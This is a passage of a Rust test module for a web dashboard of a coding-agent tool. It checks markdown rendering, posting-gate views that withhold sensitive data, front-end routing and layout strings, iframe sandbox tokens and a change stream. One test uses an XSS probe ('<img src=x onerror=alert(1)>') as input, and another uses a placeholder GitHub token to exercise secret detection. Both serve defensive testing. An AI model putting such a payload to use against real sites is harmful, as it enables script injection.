19359        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19360        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19361        assert!(f[1].to_string().contains("strong"));
19362        strong("/reviews_md/0/reconsideration/0");
19363        strong("/reviews_md/0/fix/notes");
19364        strong("/reviews_md/0/fix/rejected/0");
19365        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19366        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19367        // The raw strings stay, and no schema moved.
19368        assert_eq!(v["candidates"][0]["summary"], "did **it**");
19369        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19370    }
19371
19372    #[test]
19373    fn a_run_without_advice_has_no_advice_md() {
19374        let state = RunState::new(
19375            std::path::PathBuf::from("/repo"),
19376            "main".to_owned(),
19377            "abc".to_owned(),
19378            "x".to_owned(),
19379            crate::config::Config::default(),
19380        );
19381        let p = run_prose_md(&state);
19382        assert!(p.advice_md.is_none());
19383        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19384    }
19385
19386    #[test]
19387    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19388        let store = ask::Questions::at(PathBuf::from("unused"));
19389        let gt = crate::github_text::Withheld {
19390            title: false,
19391            body: true,
19392            categories: vec!["sensitive-data".into()],
19393        };
19394        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19395        let (detail, comparison) =
19396            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19397        let mut q = Question::new(
19398            "r".into(),
19399            "github-text".into(),
19400            "posting-gate".into(),
19401            "s".into(),
19402            detail,
19403            Vec::new(),
19404        );
19405        assert!(
19406            QuestionView::of(q.clone(), &store, None)
19407                .posting_view
19408                .is_none()
19409        );
19410        q.posting_comparison = Some(comparison);
19411        let view = QuestionView::of(q.clone(), &store, None);
19412        let field = &view.posting_view.unwrap().fields[0];
19413        assert_eq!(
19414            field
19415                .original
19416                .iter()
19417                .map(|f| f.text.as_str())
19418                .collect::<String>(),
19419            body
19420        );
19421        assert!(field.original[0].text.starts_with("<img"));
19422        let original_question: Question =
19423            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19424        assert_eq!(original_question, q);
19425        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19426            .original
19427            .start = 1;
19428        assert!(
19429            QuestionView::of(q.clone(), &store, None)
19430                .posting_view
19431                .is_none()
19432        );
19433        q.posting_comparison = original_question.posting_comparison;
19434        q.detail.push_str("extra context");
19435        assert!(
19436            QuestionView::of(q.clone(), &store, None)
19437                .posting_view
19438                .is_some()
19439        );
19440        q.detail.insert(0, 'x');
19441        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19442    }
19443
19444    #[test]
19445    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19446        let store = ask::Questions::at(PathBuf::from("unused"));
19447        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19448        let gt = crate::github_text::Withheld::from_check(
19449            &crate::github_text::check("fix: x", body),
19450            "fix: x",
19451            body,
19452        )
19453        .unwrap();
19454        let (detail, comparison) =
19455            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
19456        let mut q = Question::new(
19457            "r".into(),
19458            "github-text".into(),
19459            "posting-gate".into(),
19460            "s".into(),
19461            detail,
19462            Vec::new(),
19463        );
19464        q.posting_comparison = Some(comparison);
19465        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19466        let field = &value["posting_view"]["fields"][0];
19467        let group = &field["replacement_group"];
19468        let triggers = group["triggers"].as_array().unwrap();
19469        assert_eq!(triggers.len(), 2);
19470        assert_ne!(triggers[0], triggers[1]);
19471        for id in triggers {
19472            assert!(
19473                field["original"]
19474                    .as_array()
19475                    .unwrap()
19476                    .iter()
19477                    .any(|f| &f["pair"] == id)
19478            );
19479            assert!(
19480                !field["changed"]
19481                    .as_array()
19482                    .unwrap()
19483                    .iter()
19484                    .any(|f| &f["pair"] == id)
19485            );
19486        }
19487        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19488            group["id"].as_u64().unwrap() as usize;
19489        assert!(
19490            QuestionView::of(q, &store, None).posting_view.is_none(),
19491            "group and trigger IDs cannot collide"
19492        );
19493    }
19494
19495    #[test]
19496    fn a_question_view_carries_markdown_for_each_thread_turn() {
19497        let home = TempDir::new().unwrap();
19498        let store = ask::Questions::at(home.path().join("questions"));
19499        let mut q = Question::new(
19500            "run".to_owned(),
19501            "implement".to_owned(),
19502            "impl-A".to_owned(),
19503            "which?".to_owned(),
19504            String::new(),
19505            Vec::new(),
19506        );
19507        q.say("plain words").unwrap();
19508        q.reply("use **this**", Vec::new()).unwrap();
19509        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19510        let bodies = &v["thread_bodies_md"];
19511        assert_eq!(bodies.as_array().unwrap().len(), 2);
19512        assert!(!bodies[0].to_string().contains("strong"));
19513        assert!(bodies[1].to_string().contains("strong"));
19514    }
19515
19516    #[test]
19517    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19518        let home = TempDir::new().unwrap();
19519        let store = ask::Questions::at(home.path().join("questions"));
19520        let mut q = Question::new(
19521            "run".to_owned(),
19522            "conduct".to_owned(),
19523            "conduct".to_owned(),
19524            "which?".to_owned(),
19525            String::new(),
19526            Vec::new(),
19527        );
19528        q.say("plain words").unwrap();
19529        q.thread.push(ask::Turn {
19530            who: ask::Who::Agent,
19531            body: "Settled as `merge`".to_owned(),
19532            at: jiff::Timestamp::now(),
19533            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19534        });
19535        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19536        let notes = &v["thread_notes_md"];
19537        assert_eq!(notes.as_array().unwrap().len(), 2);
19538        assert!(notes[0].is_null());
19539        let text = notes[1].to_string();
19540        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19541        assert!(APP_JS.contains("ask-turn-note"));
19542    }
19543
19544    #[test]
19545    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19546        // The land panel defers to `run.status` for merged, and labels a
19547        // recorded-open PR on any finished run (superseded, blocked, ...) as
19548        // last seen, never as live state.
19549        assert!(APP_JS.contains("function landView(run, raw) {"));
19550        assert!(
19551            APP_JS.contains(
19552                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19553            )
19554        );
19555        assert!(APP_JS.contains("const pr = landView(run, raw);"));
19556        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19557        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19558        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19559    }
19560
19561    #[test]
19562    fn live_runs_are_never_hidden_or_folded_as_superseded() {
19563        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
19564        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19565        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19566        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19567    }
19568
19569    #[test]
19570    fn review_rounds_label_a_distinct_verified_head() {
19571        assert!(APP_JS.contains("round.verified_head"));
19572        assert!(APP_JS.contains("verified HEAD"));
19573        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19574    }
19575
19576    #[test]
19577    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19578        // A blocked task's chip and note must not fall back to a queued-like
19579        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
19580        // itself by e11fc58 but never checked here.
19581        assert!(APP_JS.contains("blocked: { glyph:"));
19582        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19583
19584        // `blocked_by` mixes task ids and question ids in the same list, and
19585        // the client can only tell them apart by checking each id against
19586        // what it actually knows - never by guessing from the id's shape.
19587        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19588        assert!(
19589            APP_JS.contains(
19590                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19591            ),
19592            "the note line must name what a blocked task is waiting on, not just that it is blocked"
19593        );
19594        // The classification must key off `status_str`, never off `blocked_by`
19595        // or `block_reason` merely being present - both can survive briefly
19596        // on a task a hold or a dead daemon just moved off `blocked`.
19597        assert!(APP_JS.contains("if (status === \"blocked\") {"));
19598
19599        // A question a task is blocked on gets its own node in the same
19600        // dependency graph, not just a task-shaped node with nothing known
19601        // about it.
19602        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19603        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19604        assert!(
19605            APP_JS.contains("location.hash = \"#/questions\";"),
19606            "a question node must jump to the Questions screen, not pretend to be a task"
19607        );
19608
19609        // `Task::answers` - decisions already made - are shown as a record on
19610        // the card, the same disclosure style as the full instruction.
19611        assert!(APP_JS.contains("Resolved questions"));
19612        assert!(APP_JS.contains("r.answersList.append("));
19613        assert!(APP_CSS.contains(".task-answers"));
19614        {
19615            let start = APP_JS
19616                .find("function updateTalkTaskRow")
19617                .expect("updateTalkTaskRow");
19618            let body = &APP_JS[start..];
19619            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19620            assert!(
19621                body.contains(
19622                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19623                ),
19624                "a chat-filed task row must link to the task page"
19625            );
19626            assert!(
19627                !body.contains("#/runs/") && !body.contains("#/queue/"),
19628                "the row must not branch to a run or the queue card"
19629            );
19630            assert!(APP_CSS.contains(".talk-task-link"));
19631        }
19632    }
19633
19634    #[test]
19635    fn a_task_notification_links_to_the_task_page() {
19636        // A task notice opens the task detail page, not the Backlog card.
19637        let start = APP_JS
19638            .find("function noticeLink(")
19639            .expect("noticeLink exists");
19640        let body = &APP_JS[start..];
19641        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19642        assert!(
19643            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19644            "a task notice's link must target the task page"
19645        );
19646        assert!(
19647            !body.contains("#/queue/"),
19648            "regression: the task link must not go back to the Backlog route"
19649        );
19650        assert!(
19651            APP_JS.contains(
19652                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19653            ),
19654            "`#/tasks/<id>` must parse into the task route"
19655        );
19656
19657        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
19658        assert!(
19659            APP_JS.contains(
19660                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19661            ),
19662            "`#/queue/<id>` must parse into a route carrying that id"
19663        );
19664
19665        // And the Backlog view has to actually land on the card once it can
19666        // - see consumeQueueFocus(), which renderQueue() calls on every pass
19667        // so a focus set before the queue has loaded is retried once it has.
19668        assert!(APP_JS.contains("state.queueFocus = route.id;"));
19669        assert!(APP_JS.contains("function consumeQueueFocus()"));
19670        assert!(APP_JS.contains("jumpToTask(id)"));
19671    }
19672
19673    #[test]
19674    fn notifications_distinguish_actionable_questions_from_informational_notices() {
19675        let start = APP_JS
19676            .find("function noticeCoveredBy(")
19677            .expect("noticeCoveredBy exists");
19678        let body = &APP_JS[start..];
19679        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19680
19681        // Historical associations are informational, even for open questions.
19682        assert!(body.contains("Associated question ${short}"));
19683        assert!(!body.contains("el(\"a\""));
19684
19685        // A resolved question displays status rather than an actionable link
19686        assert!(body.contains("(resolved)"));
19687        assert!(body.contains("(closed)"));
19688
19689        let start = APP_JS
19690            .find("function renderNotifications()")
19691            .expect("renderNotifications exists");
19692        let body = &APP_JS[start..];
19693        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19694
19695        // Only a server-resolved answerable question supplies a response link.
19696        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19697        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19698        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
19699        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19700    }
19701
19702    /// Chat rows are two lines at every width: the title alone, then the
19703    /// shrinkable secondary info.
19704    #[test]
19705    fn chat_rows_put_the_title_alone_on_the_first_line() {
19706        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
19707        assert!(APP_CSS.contains(
19708            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19709        ));
19710        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19711        assert!(APP_JS.contains("class: \"badge talk-unread\""));
19712    }
19713
19714    #[test]
19715    fn run_rows_put_the_title_alone_on_the_first_line() {
19716        assert!(
19717            APP_CSS.contains(
19718                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
19719            )
19720        );
19721        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19722        assert!(APP_JS.contains("class: \"card run-card\""));
19723        assert!(APP_JS.contains("class: \"repo run-id\""));
19724    }
19725
19726    /// Wide screens get a master/detail layout built from the views a phone
19727    /// drills into. These are string assertions: they pin the contract between
19728    /// the three assets, not how it looks.
19729    #[test]
19730    fn wide_screens_show_list_and_preview_side_by_side() {
19731        // One breakpoint, spelled the same in the script and the stylesheet.
19732        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19733        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19734        assert!(APP_CSS.contains("main[data-split]"));
19735        assert!(APP_CSS.contains("body[data-split]"));
19736
19737        // The route -> panes table, and a narrow screen opting out of it.
19738        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
19739        assert!(
19740            APP_JS.contains(
19741                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19742            )
19743        );
19744        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19745        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19746        assert!(INDEX_HTML.contains("id=\"split-empty\""));
19747
19748        // Selection is derived from the route, and only ever paints a row.
19749        assert!(APP_JS.contains("function markSelected() {"));
19750        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19751        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19752        // The dense row must override the stacked card the 720px block sets up.
19753        assert!(
19754            APP_CSS.contains(
19755                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19756            )
19757        );
19758
19759        // Independent scrolling: the page stops scrolling, each pane does.
19760        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19761        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19762        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19763        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19764
19765        // A refresh must never navigate: the loaders still check that their
19766        // subject is the one on screen, and crossing the breakpoint only
19767        // re-reads the hash.
19768        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19769        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19770        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19771        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19772
19773        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
19774        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19775    }
19776
19777    #[test]
19778    fn panel_sandbox_carries_exactly_popups() {
19779        let needle = "sandbox: \"";
19780        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19781        assert_eq!(
19782            matches.len(),
19783            1,
19784            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19785        );
19786        let start = matches[0].0 + needle.len();
19787        let end = APP_JS[start..]
19788            .find('"')
19789            .expect("sandbox attribute value must be terminated by a closing quote");
19790        let val = &APP_JS[start..start + end];
19791        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19792        let expected: std::collections::BTreeSet<&str> =
19793            ["allow-popups", "allow-popups-to-escape-sandbox"]
19794                .into_iter()
19795                .collect();
19796        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19797        assert!(
19798            !tokens.contains("allow-scripts"),
19799            "allow-scripts must never be present in sandbox"
19800        );
19801        assert!(
19802            !tokens.contains("allow-same-origin"),
19803            "allow-same-origin must never be present in sandbox"
19804        );
19805    }
19806
19807    #[test]
19808    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19809        // consumeQueueFocus() clears an active Backlog search before it can
19810        // scroll to the target card (the sections list is hidden while a
19811        // search is showing), by recursing back into renderQueue(). The
19812        // fixer's first cut nulled state.queueFocus before that recursive
19813        // call, so the second pass saw nothing to jump to and the jump was
19814        // silently dropped whenever a notification's link was opened with a
19815        // stale search still active. state.queueFocus must only be cleared
19816        // right before jumpToTask() actually runs.
19817        assert!(
19818            APP_JS.contains(
19819                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
19820            ),
19821            "the search-clearing branch must run before state.queueFocus is cleared, or the \
19822             recursive renderQueue() call has nothing left to jump to"
19823        );
19824        assert!(
19825            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19826            "state.queueFocus must be cleared only once the jump has landed, so a card that \
19827             arrives later still gets it"
19828        );
19829        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19830        assert!(APP_JS.contains("is not in the current Backlog."));
19831        assert!(APP_JS.contains("li.card[data-task-id=\""));
19832        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19833        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19834        assert!(APP_CSS.contains(".card-permalink"));
19835        assert!(APP_CSS.contains(".queue-focus-status"));
19836        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19837    }
19838
19839    #[test]
19840    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19841        // The task's own repro: only the link text inside .notice-meta was
19842        // clickable, so a tap on the message, the timestamp, or the card's
19843        // padding did nothing - on a phone that reads as "the card doesn't
19844        // work" even though the tiny link inside it did. Mark read / Dismiss
19845        // must keep working independently of this: `.closest("a, button")`
19846        // is what lets a tap that actually lands on those elements fall
19847        // through instead of being hijacked into a navigation.
19848        assert!(
19849            APP_JS.contains(
19850                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19851            ),
19852            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19853        );
19854    }
19855
19856    #[test]
19857    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19858        assert!(
19859            APP_JS.contains("round.verified_head !== round.head"),
19860            "a round that verified an earlier commit must be visibly distinct from one that \
19861             verified the head reviewers are looking at now"
19862        );
19863        assert!(
19864            APP_JS.contains("round.verified_at"),
19865            "when a check ran must be on the wire, not just which commit"
19866        );
19867        assert!(
19868            APP_JS.contains("resource_blocked"),
19869            "a command magi never got to run (shared build cache contention) must not render \
19870             the same as a command that ran and failed"
19871        );
19872    }
19873
19874    #[test]
19875    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19876        // Every KPI tile but Total runs and Completion names an exact
19877        // RunStatus and hands it to openRunsFiltered(), which is what wires
19878        // the click into state.runsFilter.status (matchesFilter's own
19879        // status check) rather than the coarser runsStateFilter chips. Each
19880        // status literal here must be one of the strings runSection() (and
19881        // isStale()) actually compare a run's own `status` field against -
19882        // a status this dashboard invented would filter to nothing.
19883        assert!(
19884            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19885            "every KPI tile built through statusTile() must route its click through \
19886             openRunsFiltered, the single place that sets the Runs filter"
19887        );
19888        for (label, status) in [
19889            ("Merged", "merged"),
19890            ("Ready", "ready"),
19891            ("Blocked", "blocked"),
19892            ("Stalled", "stalled"),
19893        ] {
19894            let call = format!("statusTile(\"{label}\", t.{status}, ");
19895            assert!(
19896                APP_JS.contains(&call),
19897                "expected the {label} KPI tile built via {call}..."
19898            );
19899            assert!(
19900                APP_JS.contains(&format!("status === \"{status}\"")),
19901                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19902                 compare a run against, not one invented only for the stats tile"
19903            );
19904        }
19905        assert!(
19906            APP_JS.contains("function openRunsFiltered(status)"),
19907            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19908        );
19909        assert!(
19910            APP_JS.contains(
19911                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19912            ),
19913            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19914        );
19915        // applyRoute() only flips which view is visible for a plain `#runs`
19916        // hash - it does not itself redraw the list (see applyRoute's own
19917        // handling below) - so openRunsFiltered must call renderRuns()
19918        // itself, and must call applyRoute() too so the view flips even
19919        // when the hash string doesn't change (the operator may already be
19920        // on the Runs view when a tile is tapped, which fires no
19921        // hashchange event at all).
19922        assert!(
19923            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
19924            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19925             hashchange event that may never fire"
19926        );
19927    }
19928
19929    #[test]
19930    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19931        // A stats tile can leave state.runsFilter.status set to something
19932        // done-by-construction (e.g. "merged") - picking "Active" afterward
19933        // must drop it the same way an incompatible tree section is already
19934        // dropped, or the Runs list renders permanently empty with no way
19935        // for the operator to tell why.
19936        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19937        assert!(
19938            APP_JS.contains(
19939                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
19940            ),
19941            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19942             guard for an incompatible tree section"
19943        );
19944    }
19945
19946    #[test]
19947    fn every_stats_queue_tile_names_a_real_queue_section() {
19948        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
19949        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
19950        // (consumeQueueSectionFocus finds no matching <details> and drops
19951        // the focus) rather than fail loudly, so pin every key against the
19952        // section list it has to resolve against.
19953        assert!(
19954            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19955            "every queue tile built through sectionTile() must route its click through \
19956             openQueueSectionFocus"
19957        );
19958        for key in ["upnext", "running", "done", "held", "blocked"] {
19959            assert!(
19960                APP_JS.contains(&format!("{{ key: \"{key}\",")),
19961                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19962            );
19963        }
19964        // Queued and Failed intentionally both resolve to "upnext" - the
19965        // same section queueSection() itself files them under - rather than
19966        // getting a section each.
19967        for line in [
19968            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19969            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19970            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19971            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19972            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19973            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19974        ] {
19975            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19976        }
19977    }
19978
19979    #[test]
19980    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19981        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
19982        // above for the section-focus channel a stats queue tile drives:
19983        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
19984        // through the stale-search-clear recursion into renderQueue(), and
19985        // clear it only once revealQueueSection() is actually about to run -
19986        // the same trap that once silently dropped a task-focus jump.
19987        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19988        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19989        assert!(APP_JS.contains("function revealQueueSection(details)"));
19990        assert!(
19991            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
19992            "renderQueue() must consume both focus channels on every pass"
19993        );
19994        assert!(
19995            APP_JS.contains(
19996                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
19997            ),
19998            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19999             the recursive renderQueue() call has nothing left to reveal"
20000        );
20001        assert!(
20002            APP_JS.contains(
20003                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20004            ),
20005            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20006        );
20007        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20008        // task-focus form of the hash - a plain `#queue` navigation only
20009        // flips which view is visible. openQueueSectionFocus() must
20010        // therefore call renderQueue() itself, and applyRoute() too so the
20011        // view flips even when the hash doesn't change (the Backlog may
20012        // already be open when a tile is tapped, firing no hashchange
20013        // event at all).
20014        assert!(
20015            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20016            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20017             hashchange event that may never fire"
20018        );
20019    }
20020
20021    #[tokio::test]
20022    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20023        let f = Fixture::start().await;
20024
20025        let mut socket = tokio::net::TcpStream::connect(f.addr)
20026            .await
20027            .expect("connect");
20028        socket
20029            .write_all(
20030                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20031            )
20032            .await
20033            .expect("write request");
20034
20035        // Read until the first event arrives rather than to end of stream: the
20036        // stream is endless by design, which is the point of the route.
20037        let mut seen = String::new();
20038        let mut buf = [0u8; 1024];
20039        while !seen.contains("event: change") {
20040            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20041                .await
20042                .expect("the stream must speak within five seconds")
20043                .expect("read");
20044            assert!(read > 0, "the server closed the change stream: {seen}");
20045            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20046        }
20047
20048        assert!(
20049            seen.to_lowercase()
20050                .contains("content-type: text/event-stream"),
20051            "the browser only reconnects automatically for a real SSE stream: {seen}"
20052        );
20053        let data = seen
20054            .lines()
20055            .find_map(|l| l.strip_prefix("data:"))
20056            .expect("a data line");
20057        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20058        assert!(
20059            payload["queue_rev"].is_u64()
20060                && payload["runs_rev"].is_u64()
20061                && payload["questions_rev"].is_u64()
20062                && payload["talks_rev"].is_u64()
20063                && payload["notifications_rev"].is_u64()
20064                && payload["loop_rev"].is_u64(),
20065            "the client needs one revision per store to know what to refetch, \
20066             and `talks_rev` is the only notification a standing talk gets - a \
20067             phone whose radio slept through a turn learns about it here, as \
20068             does one whose operator started the loop from another device: \
20069             {payload}"
20070        );
20071
20072        // The front end re-polls health on a timer and on wake, and takes the
20073        // revisions from that answer whenever the stream is not up. So health
20074        // has to carry every key the stream carries: a phone on a link that
20075        // will not hold an SSE connection is exactly the phone that must still
20076        // notice a question, and a missing key there is not a 500 but a UI
20077        // that quietly stops updating.
20078        let health = f.get("/api/health").await.json();
20079        for key in [
20080            "queue_rev",
20081            "runs_rev",
20082            "questions_rev",
20083            "talks_rev",
20084            "notifications_rev",
20085            "loop_rev",
20086        ] {
20087            assert!(
20088                health[key].is_u64(),
20089                "health is the change stream's fallback and is missing `{key}`: {health}"
20090            );
20091        }
20092    }
20093
20094    #[tokio::test]
20095    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20096        let f = Fixture::start().await;
20097        let before = f.get("/api/health").await.json()["talks_rev"]
20098            .as_u64()
20099            .expect("talks_rev");
20100
20101        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20102        std::thread::sleep(Duration::from_millis(10));
20103        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20104        on_disk.turns.push(crate::talk::Turn {
20105            sender: None,
20106            breaks: Some(Vec::new()),
20107            messages: Vec::new(),
20108            posted_by: None,
20109            who: crate::talk::Who::Operator,
20110            body: "a new turn".to_owned(),
20111            at: Timestamp::now(),
20112            attachments: Vec::new(),
20113            usage: None,
20114        });
20115        f.talks().put(&mut on_disk).expect("record a turn");
20116
20117        let after = tokio::time::timeout(Duration::from_secs(5), async {
20118            loop {
20119                let revision = f.get("/api/health").await.json()["talks_rev"]
20120                    .as_u64()
20121                    .unwrap();
20122                if revision != before {
20123                    break revision;
20124                }
20125                tokio::time::sleep(Duration::from_millis(50)).await;
20126            }
20127        })
20128        .await
20129        .expect("shared monitor observes external turn");
20130        assert_ne!(
20131            before, after,
20132            "a phone must be able to notice a talk's reply without polling every store"
20133        );
20134    }
20135
20136    #[test]
20137    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20138        // The CLI shows the default in `--help` and parses whatever comes
20139        // back, so the two directions have to agree or `--bind auto` breaks
20140        // the moment someone copies the help text.
20141        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20142            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20143        }
20144        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20145        assert!("everywhere".parse::<Bind>().is_err());
20146    }
20147
20148    #[test]
